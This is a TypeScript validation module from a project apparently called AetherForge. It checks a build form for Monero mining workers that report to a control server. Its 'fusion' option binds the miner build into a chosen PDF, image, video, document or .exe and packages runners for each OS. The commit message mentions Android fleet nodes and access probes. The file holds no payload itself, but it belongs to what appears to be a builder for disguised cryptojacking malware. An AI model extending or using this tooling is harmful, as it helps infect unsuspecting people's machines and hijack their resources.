Files
AetherForge/server/web/src/help/forgeValidation.ts
AetherForge 50ebfe53cb Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
2026-06-07 02:44:29 -07:00

149 lines
6.2 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import type { BuildRequest } from '../types';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
export type PreflightLevel = 'ok' | 'warn' | 'error';
export interface PreflightCheck {
id: string;
level: PreflightLevel;
message: string;
}
function isReachableServerUrl(url: string): boolean {
try {
const u = new URL(url.trim());
const host = u.hostname.toLowerCase();
if (host === 'localhost' || host === '127.0.0.1' || host === '::1') return false;
if (host.startsWith('192.168.') || host.startsWith('10.')) return true;
if (host.startsWith('172.')) {
const parts = host.split('.');
if (parts.length >= 2) {
const second = parseInt(parts[1], 10);
if (second >= 16 && second <= 31) return true;
}
}
// Public hostnames (Cloudflare tunnel, domain, etc.)
if (host.includes('.') && (u.protocol === 'http:' || u.protocol === 'https:')) return true;
return false;
} catch {
return false;
}
}
export function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
}
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
const checks: PreflightCheck[] = [];
if (!form.worker_name.trim()) {
checks.push({ id: 'worker', level: 'error', message: 'Worker name is required (unique per machine).' });
} else if (!/^[a-zA-Z0-9._-]+$/.test(form.worker_name.trim())) {
checks.push({ id: 'worker', level: 'warn', message: 'Worker name has unusual characters; stick to letters, numbers, dash, underscore.' });
} else {
checks.push({ id: 'worker', level: 'ok', message: `Worker "${form.worker_name.trim()}" is valid.` });
}
if (!form.server_url.trim()) {
checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
} else if (!isReachableServerUrl(form.server_url)) {
checks.push({
id: 'server',
level: 'error',
message: 'Server URL must be reachable by workers — use LAN IP or your public https:// hostname, not localhost.',
});
} else {
const u = new URL(form.server_url.trim());
const hint = u.protocol === 'https:' ? 'Public/tunnel URL OK.' : 'LAN URL OK.';
checks.push({ id: 'server', level: 'ok', message: `Control endpoint looks valid. ${hint}` });
}
if (!form.wallet.trim()) {
if (form.apk_mode) {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet optional for APK fleet nodes (mining off by default).' });
} else {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
}
} else if (!looksLikeXMRWallet(form.wallet)) {
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90106).' });
} else {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
}
if (!form.pool_host.trim()) {
checks.push({ id: 'pool', level: 'error', message: 'Pool host is required.' });
} else {
checks.push({ id: 'pool', level: 'ok', message: `Pool ${form.pool_host}:${form.pool_port} configured.` });
}
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
checks.push({ id: 'install', level: 'error', message: 'Custom install base path is required.' });
} else {
checks.push({ id: 'install', level: 'ok', message: 'Install path configuration OK.' });
}
const out = (form.output_dir || '').trim();
if (!out) {
checks.push({ id: 'output', level: 'warn', message: 'No output folder set — build will only be stored under data/builds (still downloadable).' });
} else if (out.includes('..') || out.includes(':') || out.startsWith('\\') || out.startsWith('/')) {
checks.push({ id: 'output', level: 'error', message: 'Output folder must be a relative path under server data_dir (example: exports).' });
} else {
checks.push({ id: 'output', level: 'ok', message: `Output folder: data/${out}` });
}
if (form.fusion_enabled) {
if (!fusionPrepSelected) {
checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — choose a file to fuse (PDF, PNG, video, doc, or .exe).' });
} else {
checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → universal ZIP with runners for ${form.fusion_output_name || 'each OS'}.` });
}
if (fusionPrepSelected && form.fusion_media_mode === 'embedded') {
checks.push({
id: 'fusion_embedded',
level: 'warn',
message: 'Embedded mode bakes the file into one .exe — use ZIP bundle (paired) for large images/videos or if the build fails.',
});
}
}
if (form.thread_mode === 'fixed' && form.threads < 1) {
checks.push({ id: 'threads', level: 'error', message: 'Fixed thread count must be at least 1.' });
}
if (form.ai_enabled) {
const endpoint = (form.ai_ollama_endpoint || '').trim();
const model = (form.ai_model || '').trim();
if (!endpoint) {
checks.push({ id: 'ai', level: 'error', message: 'AI Autonomy is on — set the Ollama endpoint URL.' });
} else {
try {
const u = new URL(endpoint);
if (!u.protocol.startsWith('http')) {
checks.push({ id: 'ai', level: 'warn', message: 'Ollama endpoint should use http:// or https://.' });
} else {
checks.push({ id: 'ai', level: 'ok', message: `Ollama endpoint ${endpoint} configured.` });
}
} catch {
checks.push({ id: 'ai', level: 'error', message: 'Ollama endpoint URL is not valid.' });
}
}
if (!model) {
checks.push({ id: 'ai', level: 'warn', message: 'AI model name is empty — will default to llama3.2 on the server.' });
} else {
checks.push({ id: 'ai', level: 'ok', message: `AI model: ${model}` });
}
}
// Incompatibility + coupling rules
checks.push(...runForgeCompatibilityChecks(form, fusionPrepSelected));
return checks;
}
export function preflightHasErrors(checks: PreflightCheck[]): boolean {
return checks.some((c) => c.level === 'error');
}